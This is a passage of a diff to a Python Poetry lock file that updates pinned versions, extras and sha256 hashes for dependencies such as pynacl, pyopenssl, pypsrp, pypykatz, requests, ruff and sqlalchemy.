"pynacl-1.6.2-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3bffb6d0f6becacb6526f8f42adfb5efb26337056ee0831fb9a7044d1a964444"}, + {file = "pynacl-1.6.2-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2fef529ef3ee487ad8113d287a593fa26f48ee3620d92ecc6f1d09ea38e0709b"}, + {file = "pynacl-1.6.2-cp314-cp314t-win32.whl", hash = "sha256:a84bf1c20339d06dc0c85d9aea9637a24f718f375d861b2668b2f9f96fa51145"}, + {file = "pynacl-1.6.2-cp314-cp314t-win_amd64.whl", hash = "sha256:320ef68a41c87547c91a8b58903c9caa641ab01e8512ce291085b5fe2fcb7590"}, + {file = "pynacl-1.6.2-cp314-cp314t-win_arm64.whl", hash = "sha256:d29bfe37e20e015a7d8b23cfc8bd6aa7909c92a1b8f41ee416bbb3e79ef182b2"}, + {file = "pynacl-1.6.2-cp38-abi3-macosx_10_10_universal2.whl", hash = "sha256:c949ea47e4206af7c8f604b8278093b674f7c79ed0d4719cc836902bf4517465"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:8845c0631c0be43abdd865511c41eab235e0be69c81dc66a50911594198679b0"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:22de65bb9010a725b0dac248f353bb072969c94fa8d6b1f34b87d7953cf7bbe4"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:46065496ab748469cdd999246d17e301b2c24ae2fdf739132e580a0e94c94a87"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8a66d6fb6ae7661c58995f9c6435bda2b1e68b54b598a6a10247bfcdadac996c"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:26bfcd00dcf2cf160f122186af731ae30ab120c18e8375684ec2670dccd28130"}, + {file = "pynacl-1.6.2-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:c8a231e36ec2cab018c4ad4358c386e36eede0319a0c41fed24f840b1dac59f6"}, + {file = "pynacl-1.6.2-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:68be3a09455743ff9505491220b64440ced8973fe930f270c8e07ccfa25b1f9e"}, + {file = "pynacl-1.6.2-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:8b097553b380236d51ed11356c953bf8ce36a29a3e596e934ecabe76c985a577"}, + {file = "pynacl-1.6.2-cp38-abi3-win32.whl", hash = "sha256:5811c72b473b2f38f7e2a3dc4f8642e3a3e9b5e7317266e4ced1fba85cae41aa"}, + {file = "pynacl-1.6.2-cp38-abi3-win_amd64.whl", hash = "sha256:62985f233210dee6548c223301b6c25440852e13d59a8b81490203c3227c5ba0"}, + {file = "pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c"}, + {file = "pynacl-1.6.2.tar.gz", hash = "sha256:018494d6d696ae03c7e656e5e74cdfd8ea1326962cc401bcf018f1ed8436811c"}, ] [package.dependencies] -cffi = ">=1.4.1" +cffi = {version = ">=2.0.0", markers = "platform_python_implementation != \"PyPy\" and python_version >= \"3.9\""} [package.extras] -docs = ["sphinx (>=1.6.5)", "sphinx-rtd-theme"] -tests = ["hypothesis (>=3.27.0)", "pytest (>=3.2.1,!=3.3.0)"] +docs = ["sphinx (<7)", "sphinx_rtd_theme"] +tests = ["hypothesis (>=3.27.0)", "pytest (>=7.4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] [[package]] name = "pyNfsClient" @@ -1923,33 +2109,34 @@ resolved_reference = "9b61e0a6385743923ccffa6a80f8dbbf0714121d" [[package]] name = "pyopenssl" -version = "24.0.0" +version = "25.1.0" description = "Python wrapper module around the OpenSSL library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "pyOpenSSL-24.0.0-py3-none-any.whl", hash = "sha256:ba07553fb6fd6a7a2259adb9b84e12302a9a8a75c44046e8bb5d3e5ee887e3c3"}, - {file = "pyOpenSSL-24.0.0.tar.gz", hash = "sha256:6aa33039a93fffa4563e655b61d11364d01264be8ccb49906101e02a334530bf"}, + {file = "pyopenssl-25.1.0-py3-none-any.whl", hash = "sha256:2b11f239acc47ac2e5aca04fd7fa829800aeee22a2eb30d744572a157bd8a1ab"}, + {file = "pyopenssl-25.1.0.tar.gz", hash = "sha256:8d031884482e0c67ee92bf9a4d8cceb08d92aba7136432ffb0703c5280fc205b"}, ] [package.dependencies] -cryptography = ">=41.0.5,<43" +cryptography = ">=41.0.5,<46" +typing-extensions = {version = ">=4.9", markers = "python_version < \"3.13\" and python_version >= \"3.8\""} [package.extras] -docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx-rtd-theme"] -test = ["flaky", "pretend", "pytest (>=3.0.1)"] +docs = ["sphinx (!=5.2.0,!=5.2.0.post0,!=7.2.5)", "sphinx_rtd_theme"] +test = ["pretend", "pytest (>=3.0.1)", "pytest-rerunfailures"] [[package]] name = "pyparsing" -version = "3.2.1" -description = "pyparsing module - Classes and methods to define and execute parsing grammars" +version = "3.3.2" +description = "pyparsing - Classes and methods to define and execute parsing grammars" optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pyparsing-3.2.1-py3-none-any.whl", hash = "sha256:506ff4f4386c4cec0590ec19e6302d3aedb992fdc02c761e90416f158dacf8e1"}, - {file = "pyparsing-3.2.1.tar.gz", hash = "sha256:61980854fd66de3a90028d679a954d5f2623e83144b5afe5ee86f43d762e5f0a"}, + {file = "pyparsing-3.3.2-py3-none-any.whl", hash = "sha256:850ba148bd908d7e2411587e247a1e4f0327839c40e2e5e6d05a007ecc69911d"}, + {file = "pyparsing-3.3.2.tar.gz", hash = "sha256:c777f4d763f140633dcb6d8a3eda953bf7a214dc4eff598413c070bcdc117cbc"}, ] [package.extras] @@ -1957,46 +2144,48 @@ diagrams = ["jinja2", "railroad-diagrams"] [[package]] name = "pyperclip" -version = "1.9.0" +version = "1.11.0" description = "A cross-platform clipboard module for Python. (Only handles plain text for now.)" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pyperclip-1.9.0.tar.gz", hash = "sha256:b7de0142ddc81bfc5c7507eea19da920b92252b548b96186caf94a5e2527d310"}, + {file = "pyperclip-1.11.0-py3-none-any.whl", hash = "sha256:299403e9ff44581cb9ba2ffeed69c7aa96a008622ad0c46cb575ca75b5b84273"}, + {file = "pyperclip-1.11.0.tar.gz", hash = "sha256:244035963e4428530d9e3a6101a1ef97209c6825edab1567beac148ccc1db1b6"}, ] [[package]] name = "pypsrp" -version = "0.8.1" +version = "0.9.1" description = "PowerShell Remoting Protocol and WinRM for Python" optional = false -python-versions = "*" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "pypsrp-0.8.1-py3-none-any.whl", hash = "sha256:0101345ceb415896fed9b056e7b77d65312089ddc73c4286247ccf1859d4bc4d"}, - {file = "pypsrp-0.8.1.tar.gz", hash = "sha256:f5500acd11dfe742d51b7fbb61321ba721038a300d67763dc52babe709db65e7"}, + {file = "pypsrp-0.9.1-py3-none-any.whl", hash = "sha256:1217b03397589f8e77c98dc9d2a4af2abc34a89ccc15efd4b6758ec76eb1bb7d"}, + {file = "pypsrp-0.9.1.tar.gz", hash = "sha256:3ad41285739d5f8107dd8277ae00e86ee44153aae5e82fb578ac8048307e0d12"}, ] [package.dependencies] -cryptography = "*" -pyspnego = "<1.0.0" -requests = ">=2.9.1" +cryptography = ">=3.1" +pyspnego = ">=0.7.0,<1.0.0" +requests = ">=2.27.0" [package.extras] credssp = ["requests-credssp (>=2.0.0)"] +dev = ["PyYAML", "black (==25.11.0)", "build", "isort (==6.1.0)", "mypy (==1.19.0)", "pre-commit", "pyspnego[kerberos]", "pytest", "pytest-cov", "pytest-mock", "requests-credssp", "types-PyYAML", "types-requests", "xmldiff"] kerberos = ["pyspnego[kerberos]"] [[package]] name = "pypykatz" -version = "0.6.10" +version = "0.6.13" description = "Python implementation of Mimikatz" optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "pypykatz-0.6.10-py3-none-any.whl", hash = "sha256:b997d8ce7c012593ee7aabbaff86dac33a782c2edebd3adeec1809c7c400cd0f"}, - {file = "pypykatz-0.6.10.tar.gz", hash = "sha256:3342e36086bc95ea0cb3f84358cda72ea1fc474d1900beae382c971c0ff40096"}, + {file = "pypykatz-0.6.13-py3-none-any.whl", hash = "sha256:c715fc22af49b893dc15e4e376ff167107ad602e1f91a5a2320c3aa7a7e41e3c"}, + {file = "pypykatz-0.6.13.tar.gz", hash = "sha256:f93d44fc393839c5daf2f061b29b81ffc576dd3391b175deb59a72956db94893"}, ] [package.dependencies] @@ -2028,19 +2217,19 @@ dev = ["build", "flake8", "mypy", "pytest", "twine"] [[package]] name = "pyspnego" -version = "0.11.2" +version = "0.12.1" description = "Windows Negotiate Authentication Client and Server" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "pyspnego-0.11.2-py3-none-any.whl", hash = "sha256:74abc1fb51e59360eb5c5c9086e5962174f1072c7a50cf6da0bda9a4bcfdfbd4"}, - {file = "pyspnego-0.11.2.tar.gz", hash = "sha256:994388d308fb06e4498365ce78d222bf4f3570b6df4ec95738431f61510c971b"}, + {file = "pyspnego-0.12.1-py3-none-any.whl", hash = "sha256:7237cb47985ccf5da512106ddb2731e4f9cefec00991f76c054488eb95fb1a2d"}, + {file = "pyspnego-0.12.1.tar.gz", hash = "sha256:ff4fb6df38202a012ea2a0f43091ae9680878443f0ea61c9ea0e2e8152a4b810"}, ] [package.dependencies] cryptography = "*" -sspilib = {version = ">=0.1.0", markers = "sys_platform == \"win32\""} +sspilib = {version = ">=0.3.0", markers = "sys_platform == \"win32\""} [package.extras] kerberos = ["gssapi (>=1.6.0) ; sys_platform != \"win32\"", "krb5 (>=0.3.0) ; sys_platform != \"win32\""] @@ -2100,31 +2289,31 @@ defusedxml = ["defusedxml (>=0.6.0)"] [[package]] name = "pytz" -version = "2025.1" +version = "2026.1.post1" description = "World timezone definitions, modern and historical" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "pytz-2025.1-py2.py3-none-any.whl", hash = "sha256:89dd22dca55b46eac6eda23b2d72721bf1bdfef212645d81513ef5d03038de57"}, - {file = "pytz-2025.1.tar.gz", hash = "sha256:c2db42be2a2518b28e65f9207c4d05e6ff547d1efa4086469ef855e4ab70178e"}, + {file = "pytz-2026.1.post1-py2.py3-none-any.whl", hash = "sha256:f2fd16142fda348286a75e1a524be810bb05d444e5a081f37f7affc635035f7a"}, + {file = "pytz-2026.1.post1.tar.gz", hash = "sha256:3378dde6a0c3d26719182142c56e60c7f9af7e968076f31aae569d72a0358ee1"}, ] [[package]] name = "requests" -version = "2.32.3" +version = "2.32.5" description = "Python HTTP for Humans." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "requests-2.32.3-py3-none-any.whl", hash = "sha256:70761cfe03c773ceb22aa2f671b4757976145175cdfca038c02654d061d6dcc6"}, - {file = "requests-2.32.3.tar.gz", hash = "sha256:55365417734eb18255590a9ff9eb97e9e1da868d4ccd6402399eaf68af20a760"}, + {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, + {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, ] [package.dependencies] certifi = ">=2017.4.17" -charset-normalizer = ">=2,<4" +charset_normalizer = ">=2,<4" idna = ">=2.5,<4" urllib3 = ">=1.21.1,<3" @@ -2134,72 +2323,71 @@ use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] [[package]] name = "rich" -version = "13.9.4" +version = "14.3.3" description = "Render rich text, tables, progress bars, syntax highlighting, markdown and more to the terminal" optional = false python-versions = ">=3.8.0" groups = ["main"] files = [ - {file = "rich-13.9.4-py3-none-any.whl", hash = "sha256:6049d5e6ec054bf2779ab3358186963bac2ea89175919d699e378b99738c2a90"}, - {file = "rich-13.9.4.tar.gz", hash = "sha256:439594978a49a09530cff7ebc4b5c7103ef57baf48d5ea3184f21d9a2befa098"}, + {file = "rich-14.3.3-py3-none-any.whl", hash = "sha256:793431c1f8619afa7d3b52b2cdec859562b950ea0d4b6b505397612db8d5362d"}, + {file = "rich-14.3.3.tar.gz", hash = "sha256:b8daa0b9e4eef54dd8cf7c86c03713f53241884e814f4e2f5fb342fe520f639b"}, ] [package.dependencies] markdown-it-py = ">=2.2.0" pygments = ">=2.13.0,<3.0.0" -typing-extensions = {version = ">=4.0.0,<5.0", markers = "python_version < \"3.11\""} [package.extras] jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.11.3" +version = "0.15.7" description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.11.3-py3-none-linux_armv6l.whl", hash = "sha256:cb893a5eedff45071d52565300a20cd4ac088869e156b25e0971cb98c06f5dd7"}, - {file = "ruff-0.11.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:58edd48af0e201e2f494789de80f5b2f2b46c9a2991a12ea031254865d5f6aa3"}, - {file = "ruff-0.11.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:520f6ade25cea98b2e5cb29eb0906f6a0339c6b8e28a024583b867f48295f1ed"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ca4405a93ebbc05e924358f872efceb1498c3d52a989ddf9476712a5480b16"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4341d38775a6be605ce7cd50e951b89de65cbd40acb0399f95b8e1524d604c8"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72bf5b49e4b546f4bea6c05448ab71919b09cf75363adf5e3bf5276124afd31c"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9fa791ee6c3629ba7f9ba2c8f2e76178b03f3eaefb920e426302115259819237"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c81d3fe718f4d303aaa4ccdcd0f43e23bb2127da3353635f718394ca9b26721"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e4c38e9b6c01caaba46b6d8e732791f4c78389a9923319991d55b298017ce02"}, - {file = "ruff-0.11.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9686f5d1a2b4c918b5a6e9876bfe7f47498a990076624d41f57d17aadd02a4dd"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4800ddc4764d42d8961ce4cb972bcf5cc2730d11cca3f11f240d9f7360460408"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e63a2808879361aa9597d88d86380d8fb934953ef91f5ff3dafe18d9cb0b1e14"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8f8b1c4ae62638cc220df440140c21469232d8f2cb7f5059f395f7f48dcdb59e"}, - {file = "ruff-0.11.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3ea2026be50f6b1fbedd2d1757d004e1e58bd0f414efa2a6fa01235468d4c82a"}, - {file = "ruff-0.11.3-py3-none-win32.whl", hash = "sha256:73d8b90d12674a0c6e98cd9e235f2dcad09d1a80e559a585eac994bb536917a3"}, - {file = "ruff-0.11.3-py3-none-win_amd64.whl", hash = "sha256:faf1bfb0a51fb3a82aa1112cb03658796acef978e37c7f807d3ecc50b52ecbf6"}, - {file = "ruff-0.11.3-py3-none-win_arm64.whl", hash = "sha256:67f8b68d7ab909f08af1fb601696925a89d65083ae2bb3ab286e572b5dc456aa"}, - {file = "ruff-0.11.3.tar.gz", hash = "sha256:8d5fcdb3bb359adc12b757ed832ee743993e7474b9de714bb9ea13c4a8458bf9"}, + {file = "ruff-0.15.7-py3-none-linux_armv6l.whl", hash = "sha256:a81cc5b6910fb7dfc7c32d20652e50fa05963f6e13ead3c5915c41ac5d16668e"}, + {file = "ruff-0.15.7-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:722d165bd52403f3bdabc0ce9e41fc47070ac56d7a91b4e0d097b516a53a3477"}, + {file = "ruff-0.15.7-py3-none-macosx_11_0_arm64.whl", hash = "sha256:7fbc2448094262552146cbe1b9643a92f66559d3761f1ad0656d4991491af49e"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6b39329b60eba44156d138275323cc726bbfbddcec3063da57caa8a8b1d50adf"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:87768c151808505f2bfc93ae44e5f9e7c8518943e5074f76ac21558ef5627c85"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:fb0511670002c6c529ec66c0e30641c976c8963de26a113f3a30456b702468b0"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0d19644f801849229db8345180a71bee5407b429dd217f853ec515e968a6912"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4806d8e09ef5e84eb19ba833d0442f7e300b23fe3f0981cae159a248a10f0036"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dce0896488562f09a27b9c91b1f58a097457143931f3c4d519690dea54e624c5"}, + {file = "ruff-0.15.7-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:1852ce241d2bc89e5dc823e03cff4ce73d816b5c6cdadd27dbfe7b03217d2a12"}, + {file = "ruff-0.15.7-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:5f3e4b221fb4bd293f79912fc5e93a9063ebd6d0dcbd528f91b89172a9b8436c"}, + {file = "ruff-0.15.7-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:b15e48602c9c1d9bdc504b472e90b90c97dc7d46c7028011ae67f3861ceba7b4"}, + {file = "ruff-0.15.7-py3-none-musllinux_1_2_i686.whl", hash = "sha256:1b4705e0e85cedc74b0a23cf6a179dbb3df184cb227761979cc76c0440b5ab0d"}, + {file = "ruff-0.15.7-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:112c1fa316a558bb34319282c1200a8bf0495f1b735aeb78bfcb2991e6087580"}, + {file = "ruff-0.15.7-py3-none-win32.whl", hash = "sha256:6d39e2d3505b082323352f733599f28169d12e891f7dd407f2d4f54b4c2886de"}, + {file = "ruff-0.15.7-py3-none-win_amd64.whl", hash = "sha256:4d53d712ddebcd7dace1bc395367aec12c057aacfe9adbb6d832302575f4d3a1"}, + {file = "ruff-0.15.7-py3-none-win_arm64.whl", hash = "sha256:18e8d73f1c3fdf27931497972250340f92e8c861722161a9caeb89a58ead6ed2"}, + {file = "ruff-0.15.7.tar.gz", hash = "sha256:04f1ae61fc20fe0b148617c324d9d009b5f63412c0b16474f3d5f1a1a665f7ac"}, ] [[package]] name = "setuptools" -version = "75.8.1" -description = "Easily download, build, install, upgrade, and uninstall Python packages" +version = "82.0.1" +description = "Most extensible Python build backend with support for C/C++ extension modules" optional = false python-versions = ">=3.9" groups = ["dev"] files = [ - {file = "setuptools-75.8.1-py3-none-any.whl", hash = "sha256:3bc32c0b84c643299ca94e77f834730f126efd621de0cc1de64119e0e17dab1f"}, - {file = "setuptools-75.8.1.tar.gz", hash = "sha256:65fb779a8f28895242923582eadca2337285f0891c2c9e160754df917c3d2530"}, + {file = "setuptools-82.0.1-py3-none-any.whl", hash = "sha256:a59e362652f08dcd477c78bb6e7bd9d80a7995bc73ce773050228a348ce2e5bb"}, + {file = "setuptools-82.0.1.tar.gz", hash = "sha256:7d872682c5d01cfde07da7bccc7b65469d3dca203318515ada1de5eda35efbf9"}, ] [package.extras] -check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.8.0) ; sys_platform != \"cygwin\""] -core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.collections", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging", "packaging (>=24.2)", "platformdirs (>=4.2.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] +check = ["pytest-checkdocs (>=2.4)", "pytest-ruff (>=0.2.1) ; sys_platform != \"cygwin\"", "ruff (>=0.13.0) ; sys_platform != \"cygwin\""] +core = ["importlib_metadata (>=6) ; python_version < \"3.10\"", "jaraco.functools (>=4)", "jaraco.text (>=3.7)", "more_itertools", "more_itertools (>=8.8)", "packaging (>=24.2)", "tomli (>=2.0.1) ; python_version < \"3.11\"", "wheel (>=0.43.0)"] cover = ["pytest-cov"] doc = ["furo", "jaraco.packaging (>=9.3)", "jaraco.tidelift (>=1.4)", "pygments-github-lexers (==0.0.5)", "pyproject-hooks (!=1.1)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-favicon", "sphinx-inline-tabs", "sphinx-lint", "sphinx-notfound-page (>=1,<2)", "sphinx-reredirects", "sphinxcontrib-towncrier", "towncrier (<24.7)"] enabler = ["pytest-enabler (>=2.2)"] test = ["build[virtualenv] (>=1.0.3)", "filelock (>=3.4.0)", "ini2toml[lite] (>=0.14)", "jaraco.develop (>=7.21) ; python_version >= \"3.9\" and sys_platform != \"cygwin\"", "jaraco.envs (>=2.2)", "jaraco.path (>=3.7.2)", "jaraco.test (>=5.5)", "packaging (>=24.2)", "pip (>=19.1)", "pyproject-hooks (!=1.1)", "pytest (>=6,!=8.1.*)", "pytest-home (>=0.5)", "pytest-perf ; sys_platform != \"cygwin\"", "pytest-subprocess", "pytest-timeout", "pytest-xdist (>=3)", "tomli-w (>=1.0.0)", "virtualenv (>=13.0.0)", "wheel (>=0.44.0)"] -type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.14.*)", "pytest-mypy"] +type = ["importlib_metadata (>=7.0.2) ; python_version < \"3.10\"", "jaraco.develop (>=7.21) ; sys_platform != \"cygwin\"", "mypy (==1.18.*)", "pytest-mypy"] [[package]] name = "shiv" @@ -2233,107 +2421,101 @@ files = [ {file = "six-1.17.0.tar.gz", hash = "sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81"}, ] -[[package]] -name = "sniffio" -version = "1.3.1" -description = "Sniff out which async library your code is running under" -optional = false -python-versions = ">=3.7" -groups = ["main"] -files = [ - {file = "sniffio-1.3.1-py3-none-any.whl", hash = "sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2"}, - {file = "sniffio-1.3.1.tar.gz", hash = "sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc"}, -] - [[package]] name = "soupsieve" -version = "2.6" +version = "2.8.3" description = "A modern CSS selector implementation for Beautiful Soup." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "soupsieve-2.6-py3-none-any.whl", hash = "sha256:e72c4ff06e4fb6e4b5a9f0f55fe6e81514581fca1515028625d0f299c602ccc9"}, - {file = "soupsieve-2.6.tar.gz", hash = "sha256:e2e68417777af359ec65daac1057404a3c8a5455bb8abc36f1a9866ab1a51abb"}, + {file = "soupsieve-2.8.3-py3-none-any.whl", hash = "sha256:ed64f2ba4eebeab06cc4962affce381647455978ffc1e36bb79a545b91f45a95"}, + {file = "soupsieve-2.8.3.tar.gz", hash = "sha256:3267f1eeea4251fb42728b6dfb746edc9acaffc4a45b27e19450b676586e8349"}, ] [[package]] name = "sqlalchemy" -version = "2.0.38" +version = "2.0.48" description = "Database Abstraction Library" optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:5e1d9e429028ce04f187a9f522818386c8b076723cdbe9345708384f49ebcec6"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:b87a90f14c68c925817423b0424381f0e16d80fc9a1a1046ef202ab25b19a444"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:402c2316d95ed90d3d3c25ad0390afa52f4d2c56b348f212aa9c8d072a40eee5"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6493bc0eacdbb2c0f0d260d8988e943fee06089cd239bd7f3d0c45d1657a70e2"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:0561832b04c6071bac3aad45b0d3bb6d2c4f46a8409f0a7a9c9fa6673b41bc03"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:49aa2cdd1e88adb1617c672a09bf4ebf2f05c9448c6dbeba096a3aeeb9d4d443"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-win32.whl", hash = "sha256:64aa8934200e222f72fcfd82ee71c0130a9c07d5725af6fe6e919017d095b297"}, - {file = "SQLAlchemy-2.0.38-cp310-cp310-win_amd64.whl", hash = "sha256:c57b8e0841f3fce7b703530ed70c7c36269c6d180ea2e02e36b34cb7288c50c7"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:bf89e0e4a30714b357f5d46b6f20e0099d38b30d45fa68ea48589faf5f12f62d"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:8455aa60da49cb112df62b4721bd8ad3654a3a02b9452c783e651637a1f21fa2"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f53c0d6a859b2db58332e0e6a921582a02c1677cc93d4cbb36fdf49709b327b2"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b3c4817dff8cef5697f5afe5fec6bc1783994d55a68391be24cb7d80d2dbc3a6"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c9cea5b756173bb86e2235f2f871b406a9b9d722417ae31e5391ccaef5348f2c"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:40e9cdbd18c1f84631312b64993f7d755d85a3930252f6276a77432a2b25a2f3"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-win32.whl", hash = "sha256:cb39ed598aaf102251483f3e4675c5dd6b289c8142210ef76ba24aae0a8f8aba"}, - {file = "SQLAlchemy-2.0.38-cp311-cp311-win_amd64.whl", hash = "sha256:f9d57f1b3061b3e21476b0ad5f0397b112b94ace21d1f439f2db472e568178ae"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:12d5b06a1f3aeccf295a5843c86835033797fea292c60e72b07bcb5d820e6dd3"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:e036549ad14f2b414c725349cce0772ea34a7ab008e9cd67f9084e4f371d1f32"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee3bee874cb1fadee2ff2b79fc9fc808aa638670f28b2145074538d4a6a5028e"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e185ea07a99ce8b8edfc788c586c538c4b1351007e614ceb708fd01b095ef33e"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b79ee64d01d05a5476d5cceb3c27b5535e6bb84ee0f872ba60d9a8cd4d0e6579"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:afd776cf1ebfc7f9aa42a09cf19feadb40a26366802d86c1fba080d8e5e74bdd"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-win32.whl", hash = "sha256:a5645cd45f56895cfe3ca3459aed9ff2d3f9aaa29ff7edf557fa7a23515a3725"}, - {file = "SQLAlchemy-2.0.38-cp312-cp312-win_amd64.whl", hash = "sha256:1052723e6cd95312f6a6eff9a279fd41bbae67633415373fdac3c430eca3425d"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ecef029b69843b82048c5b347d8e6049356aa24ed644006c9a9d7098c3bd3bfd"}, - {file = "SQLAlchemy-2.0.38-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:9c8bcad7fc12f0cc5896d8e10fdf703c45bd487294a986903fe032c72201596b"}, - {file = 